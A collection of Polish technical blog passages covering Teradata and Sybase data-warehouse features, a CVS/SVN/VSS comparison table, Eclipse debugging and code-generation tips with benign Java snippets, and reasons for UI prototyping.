• Grupowanie wirtualnych jednostek przetwarzania równoległego oraz wprowadzenie Global Index Optimalisation.
• Obsługa  Sparse index i Partial Covering Index.
• Udoskonalenia indeksów dla join’ów i agregatów.
• Wizualne objaśnianie/porównanie planu zapytań – uproszczenie analizy planów zapytań.
• Log zapytań – udostępnia szczegółową historię zapytań.
• Asystent Teradata SQL.
• Globalna optymalizacja zapytań – usprawniona optymalizacja planów wykonania zapytań generowanych często przez aplikacje BI.
• Funkcja próbkowania losowego.
• Wielokrotne zliczanie unikalnych wartości w jednym przebiegu zapytania.
• Próbkowanie warstwowe.
• Zwiększony limit rozmiaru zapytania.

 ETL

 Teradata posiada kilka aplikacji odpowiadających za procesy ładowania i ekstrakcji danych:

• Teradata FastLoad
• Teradata MultiLoad
• Teradata FastExport
• Teradata Parallel Transporter
• Teradata TPump

Narzędziem deweloperskim ETL dostarczanym przez Teradata jest aplikacja o nazwie SLJM (informacja niepotwierdzona – brak jakichkolwiek wiadomości na ten temat na oficjalnej stronie Teradaty). SLJM posiadaja dwie funkcjonalności : tworzenie procesów przepływu danych oraz harmonogramowanie ww. procesów. Tworzenie odbywa się poprzez kodowanie w SQL.

SYBASE

Sybase od wielu lat jest dostawcą systemów bazodanowych oraz aplikacji deweloperskich dla programistów. W ostatnim okresie firma stara się odejść wizerunku dostawcy wyłącznie małych systemów RDBMS. Wprowadza i promuje zatem Sybase IQ Server, z odmiennym od innych dostawców podejściem do zapisu informacji – kolumnowe składowanie danych.  Architektura taka w ocenie firmy Sybase wpływa na wyjątkowy wzrost wydajności przetwarzania nawet najbardziej złożonych zapytań (w oficjalnych dokumentach używane jest tu określenie – „dramatyczny wzrost wydajności zapytań”).

Server bazy danych

• Sybase IQ 15 – serwer bazy danych oparty na rozszerzonej wersji Adaptive Server Anywhere.
• Aplikacja przeznaczona do zastosowań systemów analitycznych – architektura serwera bazy optymalizowana ze względy na odczyt danych, nie na zapis.
  • System operacyjny
    • Windows Server
    • Linux
    • Unix
• Obsługa replikacji on-line oraz off-line.
• Zawansowana kompresja danych.
• Architektura kolumnowego składowania danych.
• Cache’owanie danych – usprawnione przetwarzanie zapytań z wykorzystaniem skompresowanych danych umieszczonych w pamięci cache.
• Szyfrowanie baz danych.
• Kreator indeksów (Index Advisor) – wybór najbardziej optymalnego indeksu.
• Obsługa indeksów wielokolumnowych.
• Konsola administracyjna oparta na graficznym interfejsie użytkownika.
• Wysoka skalowalność – rozbudowa o nowy węzeł, pamięć, procesor czy przestrzeń dyskową bez potrzeby zatrzymywania systemu.
• Wysoka dostępności równoległa dużej ilości użytkowników wynikająca z architektury optymalizowanej na odczyt.

ETL

• Sybase ETL 4.8 – zawierające dwie aplikacje
  • Sybase ETL Development – narzędzie developerskie do tworzenia procesów ETL
  • Sybase ETL Server – serwis odpowiadający za uruchamianie i przetwarzania zdefiniowanych procesów ETL
• W pełni graficzny interface ze zdefiniowanymi komponentami, rozszerzonymi o środowisko programistyczne.
• Łatwa implementacja środowiska deweloperskiego, testowego i produkcyjnego oparte o repozytoria metadanych.
• Zdefiniowane funkcjonalności wspomagające budowę hurtowni danych, tj. rozmyte wyszukiwanie (Foozy Search), powoli zmieniające się wymiary (Slow Changing Dimension).
• Możliwość korzystania z dowolnego środowiska źródłowego, jedynym ograniczeniem jest posiadanie sterowników OLE DB lub ODBC.

Wnioski

Brak. Każdy musi się sam zmierzyć z atutami i słabościami poszczególnych rozwiązań. Nie jest wykluczone, że ostatecznym wnioskiem będzię użycie Oracle Data Integrator’a (ETL – Oracele) z Teradata Database 12.0 (baza danych – Teradata) oraz Office PerformancePoint Server’em (BI – Microsoft).

Tabela porównawcza

Cecha	CVS	SVN – Subversion	VSS
Format repozytorium	Pliki RCS Prosty backup Intuicyjna struktura Możliwość ręcznych poprawek	BerkleyDB lub pliki binarne Większe bezpieczeństwo Potencjalne źródło problemów	Pliki o nierozpoznawalnych nazwach, np. abaaaaa.aaa 3-krotnie większe od CVS
Szybkość
Stabilność
Skalowalność
Unicode
Tags & Branches		Szybkie tworzenie gałęzi i znaczników Proste tworzenie branchy
Atomowe commity
Wsparcie refactoringu		Wersjonowane przeniesienia Wersjonowane zmiany nazwy Wersjonowanie właściwości pliku (uprawnienia, atrybuty, executable, itp) Wersjonowane foldery
Metadane		Można dodawać różne atrybuty do każdego pliku
Hooki (pre, post)	Możliwe	Prostsze
Zabezpieczenie przed przypadkowym commitem konfliktującego pliku
Pliki binarne	Brak diffa
Rollback repozytorium		workaround
Wewnętrzna architektura i kod			Brak dostępu do źródeł
Darmowe			Bundled with Visual Studio, $549 per full version
Możliwość migracji z CVS z historią		cvs2svn – migracja przy pomocy 1 komendy vss2svn	converter to TFS
Możliwość skopiowania całego repozytorium	Kopiowanie całego folderu	link link
Dostępność poprzez Web	Wymaga dodatkowych narzędzi
Agregacja modułów		link	VSS share
Dokumentacja, powszechność			To avoid Why Not VSS SVN vs VSS SVN vs VSS Nie używane nawet w Microsofcie.
Projekt rozwijany	Stabilny, ale nie rozwijany		Nie rozwijany od wielu lat
Apache
Kontrola praw dostępu	Ograniczona (pre-commit hooks)	J.w. (WebDAV per directory) link	Uprawnienia per-projekt (read, write, delete, destroy) mogą być przydzielane do konkretnych użytkowników
Konta domenowe	link	link	Dopiero w Team Foundation Server
Śledzenie historii linii kodu	Cvs annotate	Svn blame
Blokowanie pliku		Możliwe dla konkretnych plików
Kopiowanie plików i folderów	Niemożliwe	Szybkie
Łatwość instalacji	——————————-	——————————-
Integracja z Eclipse	Dostępne razem z Eclipse	Bardzo podobne do CVS pluginy: subclipse subversive
Visual Studio		ankhsvn
PowerBuilder	link	PBSCC Pushok	link
Merge tracking
Opisy commitów	Przy każdej zmianie	Przy całym commicie	Przy każdym pliku
Zbiór komend
Fisheye
Bamboo
Hudson
CruiseControl
Windows
Linux
VNC / VPN
SCC	pushok	pushok	Nie dot.
Administrowanie	Konsola + cvsgui	Konsola + web-based	TFSAdmin
Powiadomienia e-mail	link	link	sourcevizor

Źródła

http://en.wikipedia.org/wiki/Comparison_of_revision_control_software#cite_note-22
CVS vs Subversion — Version control systems comparison
Polarion-SubversionDataSheet.pdf (Obiekt application/pdf)

Inne narzędzia

Bazaar i Mercurial są nowszymi systemami, które reprezentują podejście do kontroli wersji w sposób rozproszony.
Rozproszony SCM oferuje praktyczne korzyści w porównaniu z podejściem scentralizowanym.
Jest jednak wątpliwe, czy rozproszone narzędzia oferują bardziej zaawansowany zestaw operacji.
Narzędzia rozproszone nie mają takiej bazy użytkowników, jak CVS i Subversion.

Bazaar i Mercurial to innowacyjne, elastyczne i przemyślane narzędzia. Z tej dwójki Bazaar jest prostszy w użyciu. Bazaar może być również używany w połączeniu z centralnym repozytorium, co pozwala na połączenie tych dwóch podejść.

Perforce (p4) oferuje klienta graficznego, p4v, który oferuje bardzo szerokie możliwości. Jest przejrzysty, dobrze zorganizowany i posiada takie funkcje, jak: diff, historia pliku i mere’owanie plików. p4 posiada także plugin do CodeWarrior. Dobrze współpracuje z plikami specyficznymi dla Maca. Praca z p4 składa się z 3 kroków: edycja, zmiana i commit. Znaczy to, że zanim będzie możliwa zmiana pliku, należy przeprowadzić operację „check out”. To jednak powoduje problemy przy pracy w trybie offline.
Why Perforce Is No Good.

Uwaga: niektóre przykłady skrótów klawiaturowych wymagają wprowadzenia zmian w konfiguracji Eclipse.

1. Debugging

Proste skróty, dzięki którym nie musimy wybierać opcji z menu, tylko ponownie uruchamiamy to, co ostatnio.

Wstawia/usuwa breakpointa w danej linii.

Hit Count – umożliwia zatrzymanie debuga po określonej liczbie „zaliczeń” breakpointa.

Enable Condition – zatrzymuje debug tylko, gdy podany warunek jest prawdą.

Wchodzi do środka wywoływanej metody.

Wykonuje metodę, ale nie debuguje jej zawartości.

Wykonuje do końca kod metody, w której znajduje się debug i wychodzi do metody wywołującej.

Opuszcza tryb debugowania krok-po-kroku.

Zawiera listę dostępnych zmiennych wraz z ich wartościami.

Możliwa jest zmiana ich wartości bezpośrednio w tabeli (Enter zatwierdza) lub w oknie podglądu wartości pod tabelą (Ctrl S zatwierdza).

Ten skrót odnosi się do okna Display (Window › Show view › Display).

Gdy debug zatrzyma się w jednym z breakpointów, można użyć okna Display do wykonywania wpisanego w tym oknie kodu.

Pisząc kod w oknie Display mamy możliwość korzystania z Content Assista.

W celu wykonania fragmentu wpisanego kodu należy go zaznaczyć i wcisnąć Ctrl Shift D.

Można również kliknąć na ikonę z lupą, aby przejrzeć strukturę wyniku.

Gdy debug się zatrzyma w danej klasie, możemy zmienić nieco jej kod i zapisać zmiany. To spowoduje dynamiczną podmianę kodu klasy i ponowne wejście do metody, w której zatrzymał się debug. Ta funkcja działa również, gdy wykonywany kod znajduje się na serwerze. Niestety ciężko polegać na podmianie kodu, gdyż do końca nie wiadomo, czy Javie udało się ją wykonać. Prawdopodobnie, gdy nie zmieniamy sygnatur metod i pól klasy, podmiana powinna przejść pomyślnie.

Dzięki podpięciu pod Eclipsa JDK, mamy możliwość przeglądania kodu klas Javy, a nawet zakładania tam breakpointów.

W tym celu trzeba ustawić wartość zmiennej środowiskowej JRE_SRC na plik src.zip dostępny w instalacji JDK. Można zamiast tego w Window › Preference › Java › Installed JREs dodać JDK i ustawić jako domyślne.

Findbugs – wykrywacz potencjalnych błędów w kodzie. Przeprowadza inteligentną analizę kodu, wykorzystując tzw. Bug Patterns, dzięki czemu wyłapują bardzo wiele przypadkowych błędów programisty. Polecam zainteresowanym wykład na temat tego narzędzia w formie video, wygłoszony przez jego twórcę.

Checkstyle – plugin do sprawdzania jakości kodu.

Checkstyle jest narzędziem developerskim, które pomaga pisać kod Javy zgodny z pewnymi regułami. Automatyzuje procedurę sprawdzania kodu wyręczając ludzi w tym nudnym zajęciu. Checkstyle jest w pełni konfigurowalne i pozwala na dostosowanie do sprawdzania zgodności z niemal dowolnymi stylami kodowania.

Można go uruchamiać ręcznie lub automatycznie. Automatyczne uruchamianie włącza się przez Project › Properties › Checkstyle › Checkstyle active for this project.

JUtils – generator toString() oraz konstruktora kopiującego.

PMD – scans Java source code and looks for potential problems like:

• Possible bugs – empty try/catch/finally/switch statements
• Dead code – unused local variables, parameters and private methods
• Suboptimal code – wasteful String/StringBuffer usage
• Overcomplicated expressions – unnecessary if statements, for loops that could be while loops
• Duplicate code – copied/pasted code means copied/pasted bugs

Help › Tips and tricks… › Eclipse Java Development Tools

http://rayfd.wordpress.com/2007/05/20/10-eclipse-navigation-shortcuts-every-java-programmer-should-know/

http://www.linuxdevices.com/articles/AT6046208714.html

Uwaga: niektóre przykłady skrótów klawiaturowych wymagają wprowadzenia zmian w konfiguracji Eclipse.

1. Generacja kodu

public class GettersSetters {

private String name;

}

Dla danego kodu wywołujemy Alt S.

Wybieramy pola, do których chcemy utworzyć gettery i settery, w tym przypadku name.

public class GettersSetters {

private String name;

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

}

Tworzy konstruktor przypisujący wartości swoich parametrów odpowiednim polom klasy.

public class GettersSetters {

private String name;

public GettersSetters(String name) {

super();

this.name = name;

}

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

}

Wstawia porządnego JavaDoca. Np. dla danej metody (kursor na nazwie metody):

public int max(int a, int b) {

return a > b ? a : b;

}

Wygeneruje coś takiego:

/**

* @param a

* @param b

* @return

*/

Bardzo przydaje się podczas dziedziczenia lub implementacji interfejsu. Nie musimy wtedy kopiować komentarzy z interfejsu, gdyż Shift Alt J wstawia taki komentarz:

/* (non-Javadoc)

* @see cl.use.of.eclipse.CodeAssist#max(int, int)

*/

Osobiście wolę inną templatkę, wstawiającą prawdziwy JavaDoc. Aby ją zmienić:

Window › Preferences › Java › Code Style › Code Templates › Comments › Overriding methods

Wstawiamy tam:

/**

* ${see_to_overridden}

*/

public class DelegateTest {

String sb;

}

Kursor na polu sb. Wywołujemy generację metod delegujących.

Zaznaczamy tylko metodę length().

Otrzymujemy metodę delegującą:

public class DelegateTest {

String sb;

public int length() {

return sb.length();

}

}

public class DataSet extends HashSet {

}

Kursor na DataSet, wybieramy Override/Implement Methods. Wybieramy metodę HashSet.add():

public class DataSet extends HashSet {

public boolean add(Object arg0) {

// TODO Auto-generated method stub

return super.add(arg0);

}

}

public class HashEquals {

private String name;

}

Dzięki tej funkcji otrzymamy następujący kod:

public class HashEquals {

private String name;

public int hashCode() {

final int PRIME = 31;

int result = 1;

result = PRIME * result + ((name == null) ? 0 : name.hashCode());

return result;

}

public boolean equals(Object obj) {

if (this == obj)

return true;

if (obj == null)

return false;

if (getClass() != obj.getClass())

return false;

final HashEquals other = (HashEquals) obj;

if (name == null) {

if (other.name != null)

return false;

} else if (!name.equals(other.name))

return false;

return true;

}

}

Wstawia automatycznie wcięcia w zaznaczonym kodzie.

Porządkuje kod, wstawia wcięcia, ale potrafi narobić bałaganu w komentarzach.

Window › Preferences › Java › Editor › Templates

Własne szablony kodu są bardzo przydatną cechą Eclipse’a. Przyspieszają pisanie kodu i eliminują pojawienie się przypadkowych błędów. By je wywołać wystarczy wpisać ich nazwę i nacisnąć Ctrl Space.

Poniżej przedstawiam parę stworzonych przeze mnie szablonów do kodu wpisującego odpowiednie informacje do logów. Do prezentacji użyję metody:

public String concat(String s1, String s2) {

return s1 + s2;

}

Wynik:

log.debug(„concat |„);

Szablon rozwija kod, zamieniając zmienne ${…} na odpowiednie wartości. I tak ${enclosing_method} wprowadza nazwę aktualnej metody, a ${cursor} ustawia kursor w podanym miejscu.

Wynik:

log.debug(„concat name = „ + name);

Pozwala wpisać do loga wartość zmiennej. Zaraz po wpisaniu lvar i Ctrl Space, można w rozwiniętym kodzie wpisywać nazwę zmiennej, która zostanie podstawiona w obydwu podświetlonych miejscach.

W metodzie:

public void test(int x) {

}

daje wynik:

log.debug(„test(„ + x + „)”);

Szablon do zastosowania przy wejściu do metody. Niestety, nie działa dla większej liczby parametrów, dlatego stworzyłem kolejny szablon:

Wynik dla metody concat(String s1, String s2):

log.debug(„concat(” + cl.utils.StringUtils.commaSepar(new Object[] { s1, s2 }) + „)”);

Dzięki zastosowaniu StringUtils.commaSepar(), nie potrzebujemy samodzielnie wstawiać do stringa przecinków między logowanymi argumentami.

Oto kod tej metody:

public static String commaSepar(Object[] objects) {

StringBuffer sb = new StringBuffer();

if (objects != null) {

for (int i = 0; i < objects.length; i++) {

Object obj = objects[i];

if (i > 0) {

sb.append(„, „);

}

sb.append(obj);

}

} else {

sb.append(„null”);

}

return sb.toString();

}

Zaznaczamy dowolny fragment kodu wewnątrz metody, wciskamy Shift Alt Z i wybieramy log_block. Zaznaczony fragment otrzymuje po jednej linijce loga na początku i na końcu. Dodatkowo, podobnie jak w lvar, możemy nazwać komentowany fragment.

1. Jeden obraz zastępuje tysiąc słów
2. Można szybciej naszkicować stronę niż ją opisać w Wordzie
3. Analizy biznesowe nie uwzględniają usability
4. Prototyp na wysokim poziomie może potwierdzić możliwość wytworzenia aplikacji
5. Prototyp może służyć jako proof of concept podczas ustalania szczegółów
6. Prototypy pozwalają na testy z użytkownikami na wczesnym etapie wytwarzania
7. Tworzenie prototypu wymusza komunikację między projektantami, webmasterami, analitykami i klientem
8. Prototyp nie powinien obejmować całego serwisu tylko wybrane elementy (jako uzupełnienie/ilustracja analizy)
9. Klientowi łatwiej zweryfikować i zaakceptować analizy z widokami
10. Możemy tanio stworzyć kilka alternatywnych rozwiązań

Do prototypowania, zależnie od wymaganego poziomu dokładności, używamy:

• Kartki papieru i ołówka
• Axure RP Pro 5
• Adobe Fireworks
• Środowiska testowego

Więcej na temat doboru poziomu dokładności: Balancing fidelity in prototyping